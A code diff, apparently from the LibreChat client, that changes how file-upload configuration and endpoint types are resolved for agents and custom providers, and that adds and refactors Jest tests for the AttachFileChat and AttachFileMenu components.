const fileConfigEndpoint = useMemo(
|
||||||
|
() => (isAgents && agentProvider ? agentProvider : endpoint),
|
||||||
|
[isAgents, agentProvider, endpoint],
|
||||||
|
);
|
||||||
const endpointFileConfig = useMemo(
|
const endpointFileConfig = useMemo(
|
||||||
() =>
|
() =>
|
||||||
getEndpointFileConfig({
|
getEndpointFileConfig({
|
||||||
endpoint,
|
|
||||||
fileConfig,
|
fileConfig,
|
||||||
endpointType,
|
endpointType,
|
||||||
|
endpoint: fileConfigEndpoint,
|
||||||
}),
|
}),
|
||||||
[endpoint, fileConfig, endpointType],
|
[fileConfigEndpoint, fileConfig, endpointType],
|
||||||
);
|
);
|
||||||
const endpointSupportsFiles: boolean = useMemo(
|
const endpointSupportsFiles: boolean = useMemo(
|
||||||
() => supportsFiles[endpointType ?? endpoint ?? ''] ?? false,
|
() => supportsFiles[endpointType ?? endpoint ?? ''] ?? false,
|
||||||
|
|
|
||||||
|
|
@ -50,7 +50,7 @@ interface AttachFileMenuProps {
|
||||||
endpoint?: string | null;
|
endpoint?: string | null;
|
||||||
disabled?: boolean | null;
|
disabled?: boolean | null;
|
||||||
conversationId: string;
|
conversationId: string;
|
||||||
endpointType?: EModelEndpoint;
|
endpointType?: EModelEndpoint | string;
|
||||||
endpointFileConfig?: EndpointFileConfig;
|
endpointFileConfig?: EndpointFileConfig;
|
||||||
useResponsesApi?: boolean;
|
useResponsesApi?: boolean;
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -3,10 +3,10 @@ import { useToastContext } from '@librechat/client';
|
||||||
import { EToolResources } from 'librechat-data-provider';
|
import { EToolResources } from 'librechat-data-provider';
|
||||||
import type { ExtendedFile } from '~/common';
|
import type { ExtendedFile } from '~/common';
|
||||||
import { useDeleteFilesMutation } from '~/data-provider';
|
import { useDeleteFilesMutation } from '~/data-provider';
|
||||||
|
import { logger, getCachedPreview } from '~/utils';
|
||||||
import { useFileDeletion } from '~/hooks/Files';
|
import { useFileDeletion } from '~/hooks/Files';
|
||||||
import FileContainer from './FileContainer';
|
import FileContainer from './FileContainer';
|
||||||
import { useLocalize } from '~/hooks';
|
import { useLocalize } from '~/hooks';
|
||||||
import { logger } from '~/utils';
|
|
||||||
import Image from './Image';
|
import Image from './Image';
|
||||||
|
|
||||||
export default function FileRow({
|
export default function FileRow({
|
||||||
|
|
@ -24,7 +24,7 @@ export default function FileRow({
|
||||||
files: Map<string, ExtendedFile> | undefined;
|
files: Map<string, ExtendedFile> | undefined;
|
||||||
abortUpload?: () => void;
|
abortUpload?: () => void;
|
||||||
setFiles: React.Dispatch<React.SetStateAction<Map<string, ExtendedFile>>>;
|
setFiles: React.Dispatch<React.SetStateAction<Map<string, ExtendedFile>>>;
|
||||||
setFilesLoading: React.Dispatch<React.SetStateAction<boolean>>;
|
setFilesLoading?: React.Dispatch<React.SetStateAction<boolean>>;
|
||||||
fileFilter?: (file: ExtendedFile) => boolean;
|
fileFilter?: (file: ExtendedFile) => boolean;
|
||||||
assistant_id?: string;
|
assistant_id?: string;
|
||||||
agent_id?: string;
|
agent_id?: string;
|
||||||
|
|
@ -58,6 +58,7 @@ export default function FileRow({
|
||||||
const { deleteFile } = useFileDeletion({ mutateAsync, agent_id, assistant_id, tool_resource });
|
const { deleteFile } = useFileDeletion({ mutateAsync, agent_id, assistant_id, tool_resource });
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
|
if (!setFilesLoading) return;
|
||||||
if (files.length === 0) {
|
if (files.length === 0) {
|
||||||
setFilesLoading(false);
|
setFilesLoading(false);
|
||||||
return;
|
return;
|
||||||
|
|
@ -111,13 +112,15 @@ export default function FileRow({
|
||||||
)
|
)
|
||||||
.uniqueFiles.map((file: ExtendedFile, index: number) => {
|
.uniqueFiles.map((file: ExtendedFile, index: number) => {
|
||||||
const handleDelete = () => {
|
const handleDelete = () => {
|
||||||
showToast({
|
|
||||||
message: localize('com_ui_deleting_file'),
|
|
||||||
status: 'info',
|
|
||||||
});
|
|
||||||
if (abortUpload && file.progress < 1) {
|
if (abortUpload && file.progress < 1) {
|
||||||
abortUpload();
|
abortUpload();
|
||||||
}
|
}
|
||||||
|
if (file.progress >= 1) {
|
||||||
|
showToast({
|
||||||
|
message: localize('com_ui_deleting_file'),
|
||||||
|
status: 'info',
|
||||||
|
});
|
||||||
|
}
|
||||||
deleteFile({ file, setFiles });
|
deleteFile({ file, setFiles });
|
||||||
};
|
};
|
||||||
const isImage = file.type?.startsWith('image') ?? false;
|
const isImage = file.type?.startsWith('image') ?? false;
|
||||||
|
|
@ -133,7 +136,7 @@ export default function FileRow({
|
||||||
>
|
>
|
||||||
{isImage ? (
|
{isImage ? (
|
||||||
<Image
|
<Image
|
||||||
url={file.progress === 1 ? file.filepath : (file.preview ?? file.filepath)}
|
url={getCachedPreview(file.file_id) ?? file.preview ?? file.filepath}
|
||||||
onDelete={handleDelete}
|
onDelete={handleDelete}
|
||||||
progress={file.progress}
|
progress={file.progress}
|
||||||
source={file.source}
|
source={file.source}
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,176 @@
|
||||||
|
import React from 'react';
|
||||||
|
import { render, screen } from '@testing-library/react';
|
||||||
|
import { RecoilRoot } from 'recoil';
|
||||||
|
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
|
||||||
|
import { EModelEndpoint, mergeFileConfig } from 'librechat-data-provider';
|
||||||
|
import type { TEndpointsConfig, Agent } from 'librechat-data-provider';
|
||||||
|
import AttachFileChat from '../AttachFileChat';
|
||||||
|
|
||||||
|
const mockEndpointsConfig: TEndpointsConfig = {
|
||||||
|
[EModelEndpoint.openAI]: { userProvide: false, order: 0 },
|
||||||
|
[EModelEndpoint.agents]: { userProvide: false, order: 1 },
|
||||||
|
[EModelEndpoint.assistants]: { userProvide: false, order: 2 },
|
||||||
|
Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
|
||||||
|
};
|
||||||
|
|
||||||
|
const mockFileConfig = mergeFileConfig({
|
||||||
|
endpoints: {
|
||||||
|
Moonshot: { fileLimit: 5 },
|
||||||
|
[EModelEndpoint.agents]: { fileLimit: 20 },
|
||||||
|
default: { fileLimit: 10 },
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
let mockAgentsMap: Record<string, Partial<Agent>> = {};
|
||||||
|
let mockAgentQueryData: Partial<Agent> | undefined;
|
||||||
|
|
||||||
|
jest.mock('~/data-provider', () => ({
|
||||||
|
useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
|
||||||
|
useGetFileConfig: ({ select }: { select?: (data: unknown) => unknown }) => ({
|
||||||
|
data: select != null ? select(mockFileConfig) : mockFileConfig,
|
||||||
|
}),
|
||||||
|
useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
|
||||||
|
}));
|
||||||
|
|
||||||
|
jest.mock('~/Providers', () => ({
|
||||||
|
useAgentsMapContext: () => mockAgentsMap,
|
||||||
|
}));
|
||||||
|
|
||||||
|
/** Capture the props passed to AttachFileMenu */
|
||||||
|
let mockAttachFileMenuProps: Record<string, unknown> = {};
|
||||||
|
jest.mock('../AttachFileMenu', () => {
|
||||||
|
return function MockAttachFileMenu(props: Record<string, unknown>) {
|
||||||
|
mockAttachFileMenuProps = props;
|
||||||
|
return <div data-testid="attach-file-menu" data-endpoint-type={String(props.endpointType)} />;
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
jest.mock('../AttachFile', () => {
|
||||||
|
return function MockAttachFile() {
|
||||||
|
return <div data-testid="attach-file" />;
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||||||
|
|
||||||
|
function renderComponent(conversation: Record<string, unknown> | null, disableInputs = false) {
|
||||||
|
return render(
|
||||||
|
<QueryClientProvider client={queryClient}>
|
||||||
|
<RecoilRoot>
|
||||||
|
<AttachFileChat conversation={conversation as never} disableInputs={disableInputs} />
|
||||||
|
</RecoilRoot>
|
||||||
|
</QueryClientProvider>,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('AttachFileChat', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
mockAgentsMap = {};
|
||||||
|
mockAgentQueryData = undefined;
|
||||||
|
mockAttachFileMenuProps = {};
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('rendering decisions', () => {
|
||||||
|
it('renders AttachFileMenu for agents endpoint', () => {
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
|
||||||
|
expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders AttachFileMenu for custom endpoint with file support', () => {
|
||||||
|
renderComponent({ endpoint: 'Moonshot' });
|
||||||
|
expect(screen.getByTestId('attach-file-menu')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders null for null conversation', () => {
|
||||||
|
const { container } = renderComponent(null);
|
||||||
|
expect(container.innerHTML).toBe('');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('endpointType resolution for agents', () => {
|
||||||
|
it('passes custom endpointType when agent provider is a custom endpoint', () => {
|
||||||
|
mockAgentsMap = {
|
||||||
|
'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
|
||||||
|
};
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
|
||||||
|
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('passes openAI endpointType when agent provider is openAI', () => {
|
||||||
|
mockAgentsMap = {
|
||||||
|
'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial<Agent>,
|
||||||
|
};
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
|
||||||
|
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('passes agents endpointType when no agent provider', () => {
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
|
||||||
|
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('passes agents endpointType when no agent_id', () => {
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.agents });
|
||||||
|
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.agents);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('uses agentData query when agent not in agentsMap', () => {
|
||||||
|
mockAgentQueryData = { provider: 'Moonshot' } as Partial<Agent>;
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-2' });
|
||||||
|
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('endpointType resolution for non-agents', () => {
|
||||||
|
it('passes custom endpointType for a custom endpoint', () => {
|
||||||
|
renderComponent({ endpoint: 'Moonshot' });
|
||||||
|
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.custom);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('passes openAI endpointType for openAI endpoint', () => {
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.openAI });
|
||||||
|
expect(mockAttachFileMenuProps.endpointType).toBe(EModelEndpoint.openAI);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('consistency: same endpoint type for direct vs agent usage', () => {
|
||||||
|
it('resolves Moonshot the same way whether used directly or through an agent', () => {
|
||||||
|
renderComponent({ endpoint: 'Moonshot' });
|
||||||
|
const directType = mockAttachFileMenuProps.endpointType;
|
||||||
|
|
||||||
|
mockAgentsMap = {
|
||||||
|
'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
|
||||||
|
};
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
|
||||||
|
const agentType = mockAttachFileMenuProps.endpointType;
|
||||||
|
|
||||||
|
expect(directType).toBe(agentType);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('endpointFileConfig resolution', () => {
|
||||||
|
it('passes Moonshot-specific file config for agent with Moonshot provider', () => {
|
||||||
|
mockAgentsMap = {
|
||||||
|
'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
|
||||||
|
};
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
|
||||||
|
const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
|
||||||
|
expect(config?.fileLimit).toBe(5);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('passes agents file config when agent has no specific provider config', () => {
|
||||||
|
mockAgentsMap = {
|
||||||
|
'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial<Agent>,
|
||||||
|
};
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.agents, agent_id: 'agent-1' });
|
||||||
|
const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
|
||||||
|
expect(config?.fileLimit).toBe(10);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('passes agents file config when no agent provider', () => {
|
||||||
|
renderComponent({ endpoint: EModelEndpoint.agents });
|
||||||
|
const config = mockAttachFileMenuProps.endpointFileConfig as { fileLimit?: number };
|
||||||
|
expect(config?.fileLimit).toBe(20);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
@ -1,12 +1,10 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import { render, screen, fireEvent } from '@testing-library/react';
|
import { render, screen, fireEvent } from '@testing-library/react';
|
||||||
import '@testing-library/jest-dom';
|
|
||||||
import { RecoilRoot } from 'recoil';
|
import { RecoilRoot } from 'recoil';
|
||||||
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
|
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
|
||||||
import { EModelEndpoint } from 'librechat-data-provider';
|
import { EModelEndpoint, Providers } from 'librechat-data-provider';
|
||||||
import AttachFileMenu from '../AttachFileMenu';
|
import AttachFileMenu from '../AttachFileMenu';
|
||||||
|
|
||||||
// Mock all the hooks
|
|
||||||
jest.mock('~/hooks', () => ({
|
jest.mock('~/hooks', () => ({
|
||||||
useAgentToolPermissions: jest.fn(),
|
useAgentToolPermissions: jest.fn(),
|
||||||
useAgentCapabilities: jest.fn(),
|
useAgentCapabilities: jest.fn(),
|
||||||
|
|
@ -25,53 +23,45 @@ jest.mock('~/data-provider', () => ({
|
||||||
}));
|
}));
|
||||||
|
|
||||||
jest.mock('~/components/SharePoint', () => ({
|
jest.mock('~/components/SharePoint', () => ({
|
||||||
SharePointPickerDialog: jest.fn(() => null),
|
SharePointPickerDialog: () => null,
|
||||||
}));
|
}));
|
||||||
|
|
||||||
jest.mock('@librechat/client', () => {
|
jest.mock('@librechat/client', () => {
|
||||||
const React = jest.requireActual('react');
|
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
||||||
|
const R = require('react');
|
||||||
return {
|
return {
|
||||||
FileUpload: React.forwardRef(({ children, handleFileChange }: any, ref: any) => (
|
FileUpload: (props) => R.createElement('div', { 'data-testid': 'file-upload' }, props.children),
|
||||||
<div data-testid="file-upload">
|
TooltipAnchor: (props) => props.render,
|
||||||
<input ref={ref} type="file" onChange={handleFileChange} data-testid="file-input" />
|
DropdownPopup: (props) =>
|
||||||
{children}
|
R.createElement(
|
||||||
</div>
|
'div',
|
||||||
)),
|
null,
|
||||||
TooltipAnchor: ({ render }: any) => render,
|
R.createElement('div', { onClick: () => props.setIsOpen(!props.isOpen) }, props.trigger),
|
||||||
DropdownPopup: ({ trigger, items, isOpen, setIsOpen }: any) => {
|
props.isOpen &&
|
||||||
const handleTriggerClick = () => {
|
R.createElement(
|
||||||
if (setIsOpen) {
|
'div',
|
||||||
setIsOpen(!isOpen);
|
{ 'data-testid': 'dropdown-menu' },
|
||||||
}
|
props.items.map((item, idx) =>
|
||||||
};
|
R.createElement(
|
||||||
|
'button',
|
||||||
return (
|
{ key: idx, onClick: item.onClick, 'data-testid': `menu-item-${idx}` },
|
||||||
<div>
|
item.label,
|
||||||
<div onClick={handleTriggerClick}>{trigger}</div>
|
),
|
||||||
{isOpen && (
|
),
|
||||||
<div data-testid="dropdown-menu">
|
),
|
||||||
{items.map((item: any, idx: number) => (
|
),
|
||||||
<button key={idx} onClick={item.onClick} data-testid={`menu-item-${idx}`}>
|
AttachmentIcon: () => R.createElement('span', { 'data-testid': 'attachment-icon' }),
|
||||||
{item.label}
|
SharePointIcon: () => R.createElement('span', { 'data-testid': 'sharepoint-icon' }),
|
||||||
</button>
|
|
||||||
))}
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
},
|
|
||||||
AttachmentIcon: () => <span data-testid="attachment-icon">📎</span>,
|
|
||||||
SharePointIcon: () => <span data-testid="sharepoint-icon">SP</span>,
|
|
||||||
};
|
};
|
||||||
});
|
});
|
||||||
|
|
||||||
jest.mock('@ariakit/react', () => ({
|
jest.mock('@ariakit/react', () => {
|
||||||
MenuButton: ({ children, onClick, disabled, ...props }: any) => (
|
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
||||||
<button onClick={onClick} disabled={disabled} {...props}>
|
const R = require('react');
|
||||||
{children}
|
return {
|
||||||
</button>
|
MenuButton: (props) => R.createElement('button', props, props.children),
|
||||||
),
|
};
|
||||||
}));
|
});
|
||||||
|
|
||||||
const mockUseAgentToolPermissions = jest.requireMock('~/hooks').useAgentToolPermissions;
|
const mockUseAgentToolPermissions = jest.requireMock('~/hooks').useAgentToolPermissions;
|
||||||
const mockUseAgentCapabilities = jest.requireMock('~/hooks').useAgentCapabilities;
|
const mockUseAgentCapabilities = jest.requireMock('~/hooks').useAgentCapabilities;
|
||||||
|
|
@ -83,558 +73,283 @@ const mockUseSharePointFileHandling = jest.requireMock(
|
||||||
).default;
|
).default;
|
||||||
const mockUseGetStartupConfig = jest.requireMock('~/data-provider').useGetStartupConfig;
|
const mockUseGetStartupConfig = jest.requireMock('~/data-provider').useGetStartupConfig;
|
||||||
|
|
||||||
describe('AttachFileMenu', () => {
|
const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||||||
const queryClient = new QueryClient({
|
|
||||||
defaultOptions: {
|
|
||||||
queries: { retry: false },
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
const mockHandleFileChange = jest.fn();
|
function setupMocks(overrides: { provider?: string } = {}) {
|
||||||
|
const translations: Record<string, string> = {
|
||||||
beforeEach(() => {
|
com_ui_upload_provider: 'Upload to Provider',
|
||||||
jest.clearAllMocks();
|
com_ui_upload_image_input: 'Upload Image',
|
||||||
|
com_ui_upload_ocr_text: 'Upload as Text',
|
||||||
// Default mock implementations
|
com_ui_upload_file_search: 'Upload for File Search',
|
||||||
mockUseLocalize.mockReturnValue((key: string) => {
|
com_ui_upload_code_files: 'Upload Code Files',
|
||||||
const translations: Record<string, string> = {
|
com_sidepanel_attach_files: 'Attach Files',
|
||||||
com_ui_upload_provider: 'Upload to Provider',
|
com_files_upload_sharepoint: 'Upload from SharePoint',
|
||||||
com_ui_upload_image_input: 'Upload Image',
|
|
||||||
com_ui_upload_ocr_text: 'Upload OCR Text',
|
|
||||||
com_ui_upload_file_search: 'Upload for File Search',
|
|
||||||
com_ui_upload_code_files: 'Upload Code Files',
|
|
||||||
com_sidepanel_attach_files: 'Attach Files',
|
|
||||||
com_files_upload_sharepoint: 'Upload from SharePoint',
|
|
||||||
};
|
|
||||||
return translations[key] || key;
|
|
||||||
});
|
|
||||||
|
|
||||||
mockUseAgentCapabilities.mockReturnValue({
|
|
||||||
contextEnabled: false,
|
|
||||||
fileSearchEnabled: false,
|
|
||||||
codeEnabled: false,
|
|
||||||
});
|
|
||||||
|
|
||||||
mockUseGetAgentsConfig.mockReturnValue({
|
|
||||||
agentsConfig: {
|
|
||||||
capabilities: {
|
|
||||||
contextEnabled: false,
|
|
||||||
fileSearchEnabled: false,
|
|
||||||
codeEnabled: false,
|
|
||||||
},
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
mockUseFileHandling.mockReturnValue({
|
|
||||||
handleFileChange: mockHandleFileChange,
|
|
||||||
});
|
|
||||||
|
|
||||||
mockUseSharePointFileHandling.mockReturnValue({
|
|
||||||
handleSharePointFiles: jest.fn(),
|
|
||||||
isProcessing: false,
|
|
||||||
downloadProgress: 0,
|
|
||||||
});
|
|
||||||
|
|
||||||
mockUseGetStartupConfig.mockReturnValue({
|
|
||||||
data: {
|
|
||||||
sharePointFilePickerEnabled: false,
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
|
||||||
fileSearchAllowedByAgent: false,
|
|
||||||
codeAllowedByAgent: false,
|
|
||||||
provider: undefined,
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
const renderAttachFileMenu = (props: any = {}) => {
|
|
||||||
return render(
|
|
||||||
<QueryClientProvider client={queryClient}>
|
|
||||||
<RecoilRoot>
|
|
||||||
<AttachFileMenu conversationId="test-conversation" {...props} />
|
|
||||||
</RecoilRoot>
|
|
||||||
</QueryClientProvider>,
|
|
||||||
);
|
|
||||||
};
|
};
|
||||||
|
mockUseLocalize.mockReturnValue((key: string) => translations[key] || key);
|
||||||
describe('Basic Rendering', () => {
|
mockUseAgentCapabilities.mockReturnValue({
|
||||||
it('should render the attachment button', () => {
|
contextEnabled: false,
|
||||||
renderAttachFileMenu();
|
fileSearchEnabled: false,
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
codeEnabled: false,
|
||||||
expect(button).toBeInTheDocument();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('should be disabled when disabled prop is true', () => {
|
|
||||||
renderAttachFileMenu({ disabled: true });
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
expect(button).toBeDisabled();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('should not be disabled when disabled prop is false', () => {
|
|
||||||
renderAttachFileMenu({ disabled: false });
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
expect(button).not.toBeDisabled();
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
mockUseGetAgentsConfig.mockReturnValue({ agentsConfig: {} });
|
||||||
|
mockUseFileHandling.mockReturnValue({ handleFileChange: jest.fn() });
|
||||||
|
mockUseSharePointFileHandling.mockReturnValue({
|
||||||
|
handleSharePointFiles: jest.fn(),
|
||||||
|
isProcessing: false,
|
||||||
|
downloadProgress: 0,
|
||||||
|
});
|
||||||
|
mockUseGetStartupConfig.mockReturnValue({ data: { sharePointFilePickerEnabled: false } });
|
||||||
|
mockUseAgentToolPermissions.mockReturnValue({
|
||||||
|
fileSearchAllowedByAgent: false,
|
||||||
|
codeAllowedByAgent: false,
|
||||||
|
provider: overrides.provider ?? undefined,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
describe('Provider Detection Fix - endpointType Priority', () => {
|
function renderMenu(props: Record<string, unknown> = {}) {
|
||||||
it('should prioritize endpointType over currentProvider for LiteLLM gateway', () => {
|
return render(
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
<QueryClientProvider client={queryClient}>
|
||||||
fileSearchAllowedByAgent: false,
|
<RecoilRoot>
|
||||||
codeAllowedByAgent: false,
|
<AttachFileMenu conversationId="test-convo" {...props} />
|
||||||
provider: 'litellm', // Custom gateway name NOT in documentSupportedProviders
|
</RecoilRoot>
|
||||||
});
|
</QueryClientProvider>,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
renderAttachFileMenu({
|
function openMenu() {
|
||||||
endpoint: 'litellm',
|
fireEvent.click(screen.getByRole('button', { name: /attach file options/i }));
|
||||||
endpointType: EModelEndpoint.openAI, // Backend override IS in documentSupportedProviders
|
}
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
describe('AttachFileMenu', () => {
|
||||||
fireEvent.click(button);
|
beforeEach(jest.clearAllMocks);
|
||||||
|
|
||||||
// With the fix, should show "Upload to Provider" because endpointType is checked first
|
describe('Upload to Provider vs Upload Image', () => {
|
||||||
|
it('shows "Upload to Provider" when endpointType is custom (resolved from agent provider)', () => {
|
||||||
|
setupMocks({ provider: 'Moonshot' });
|
||||||
|
renderMenu({ endpointType: EModelEndpoint.custom });
|
||||||
|
openMenu();
|
||||||
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
||||||
expect(screen.queryByText('Upload Image')).not.toBeInTheDocument();
|
expect(screen.queryByText('Upload Image')).not.toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should show Upload to Provider for custom endpoints with OpenAI endpointType', () => {
|
it('shows "Upload to Provider" when endpointType is openAI', () => {
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
setupMocks({ provider: EModelEndpoint.openAI });
|
||||||
fileSearchAllowedByAgent: false,
|
renderMenu({ endpointType: EModelEndpoint.openAI });
|
||||||
codeAllowedByAgent: false,
|
openMenu();
|
||||||
provider: 'my-custom-gateway',
|
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: 'my-custom-gateway',
|
|
||||||
endpointType: EModelEndpoint.openAI,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should show Upload Image when neither endpointType nor provider support documents', () => {
|
it('shows "Upload to Provider" when endpointType is anthropic', () => {
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
setupMocks({ provider: EModelEndpoint.anthropic });
|
||||||
fileSearchAllowedByAgent: false,
|
renderMenu({ endpointType: EModelEndpoint.anthropic });
|
||||||
codeAllowedByAgent: false,
|
openMenu();
|
||||||
provider: 'unsupported-provider',
|
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
renderAttachFileMenu({
|
it('shows "Upload to Provider" when endpointType is google', () => {
|
||||||
endpoint: 'unsupported-provider',
|
setupMocks({ provider: Providers.GOOGLE });
|
||||||
endpointType: 'unsupported-endpoint' as any,
|
renderMenu({ endpointType: EModelEndpoint.google });
|
||||||
});
|
openMenu();
|
||||||
|
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
});
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
|
it('shows "Upload Image" when endpointType is agents (no provider resolution)', () => {
|
||||||
|
setupMocks();
|
||||||
|
renderMenu({ endpointType: EModelEndpoint.agents });
|
||||||
|
openMenu();
|
||||||
expect(screen.getByText('Upload Image')).toBeInTheDocument();
|
expect(screen.getByText('Upload Image')).toBeInTheDocument();
|
||||||
expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
|
expect(screen.queryByText('Upload to Provider')).not.toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should fallback to currentProvider when endpointType is undefined', () => {
|
it('shows "Upload Image" when neither endpointType nor provider supports documents', () => {
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
setupMocks({ provider: 'unknown-provider' });
|
||||||
fileSearchAllowedByAgent: false,
|
renderMenu({ endpointType: 'unknown-type' });
|
||||||
codeAllowedByAgent: false,
|
openMenu();
|
||||||
provider: EModelEndpoint.openAI,
|
expect(screen.getByText('Upload Image')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: EModelEndpoint.openAI,
|
|
||||||
endpointType: undefined,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
|
it('shows "Upload to Provider" for azureOpenAI with useResponsesApi', () => {
|
||||||
|
setupMocks({ provider: EModelEndpoint.azureOpenAI });
|
||||||
|
renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: true });
|
||||||
|
openMenu();
|
||||||
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('should fallback to currentProvider when endpointType is null', () => {
|
it('shows "Upload Image" for azureOpenAI without useResponsesApi', () => {
|
||||||
mockUseAgentToolPermissions.mockReturnValue({
|
setupMocks({ provider: EModelEndpoint.azureOpenAI });
|
||||||
fileSearchAllowedByAgent: false,
|
renderMenu({ endpointType: EModelEndpoint.azureOpenAI, useResponsesApi: false });
|
||||||
codeAllowedByAgent: false,
|
openMenu();
|
||||||
provider: EModelEndpoint.anthropic,
|
expect(screen.getByText('Upload Image')).toBeInTheDocument();
|
||||||
});
|
|
||||||
|
|
||||||
renderAttachFileMenu({
|
|
||||||
endpoint: EModelEndpoint.anthropic,
|
|
||||||
endpointType: null,
|
|
||||||
});
|
|
||||||
|
|
||||||
const button = screen.getByRole('button', { name: /attach file options/i });
|
|
||||||
fireEvent.click(button);
|
|
||||||
|
|
||||||
expect(screen.getByText('Upload to Provider')).toBeInTheDocument();
|
|
||||||
});
|
});
